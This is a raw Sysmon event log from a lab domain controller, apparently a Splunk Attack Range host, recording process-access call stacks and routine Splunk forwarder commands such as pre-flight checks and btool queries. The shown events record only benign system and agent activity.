09:09:37.137{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001863Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.137{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001862Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.137{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001861Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.137{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001860Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.137{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001859Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.121{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001858Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.121{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-28D1-5F80-4A00-000000007F01}3860C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000001857Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.121{A5F018FF-28CF-5F80-2F00-000000007F01}25283908C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-28D1-5F80-4A00-000000007F01}3860C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\System32\ucrtbase.dll+9ea4a|C:\Windows\System32\ucrtbase.dll+9e42e|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+edcb8|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+eef54|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ebd15|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+e9959|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+d7f31|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000001856Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.136{A5F018FF-28D1-5F80-4A00-000000007F01}3860C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /c "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal pre-flight-checks --answer-yes --no-prompt 2>&1C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000001855Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.074{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001854Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.043{A5F018FF-28D0-5F80-4900-000000007F01}39003896C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+116e675|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+116e1a6|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+f344c|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+f2a91|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+19fdb50|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002051Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.996{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-28D2-5F80-5700-000000007F01}3992C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002050Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.996{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002049Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.996{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002048Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.996{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002047Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.996{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002046Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.996{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002045Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.981{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002044Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.981{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002043Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.981{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002042Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.981{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-28D2-5F80-5700-000000007F01}3992C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002041Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.981{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002040Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.981{A5F018FF-28D2-5F80-5600-000000007F01}39563948C:\Program Files\SplunkUniversalForwarder\bin\btool.exe{A5F018FF-28D2-5F80-5700-000000007F01}3992C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+239c|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+2568|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+2926|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+11cf|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+1245|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+aa24|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000002039Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.995{A5F018FF-28D2-5F80-5700-000000007F01}3992C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe8.0.2splunkd servicesplunk ApplicationSplunk Inc.splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list replication_port --no-logC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589{A5F018FF-28D2-5F80-5600-000000007F01}3956C:\Program Files\SplunkUniversalForwarder\bin\btool.exebtool server list replication_port --no-log 10341000x80000000000000002038Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.981{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-28D2-5F80-5600-000000007F01}3956C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002037Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.981{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002036Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.981{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002035Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 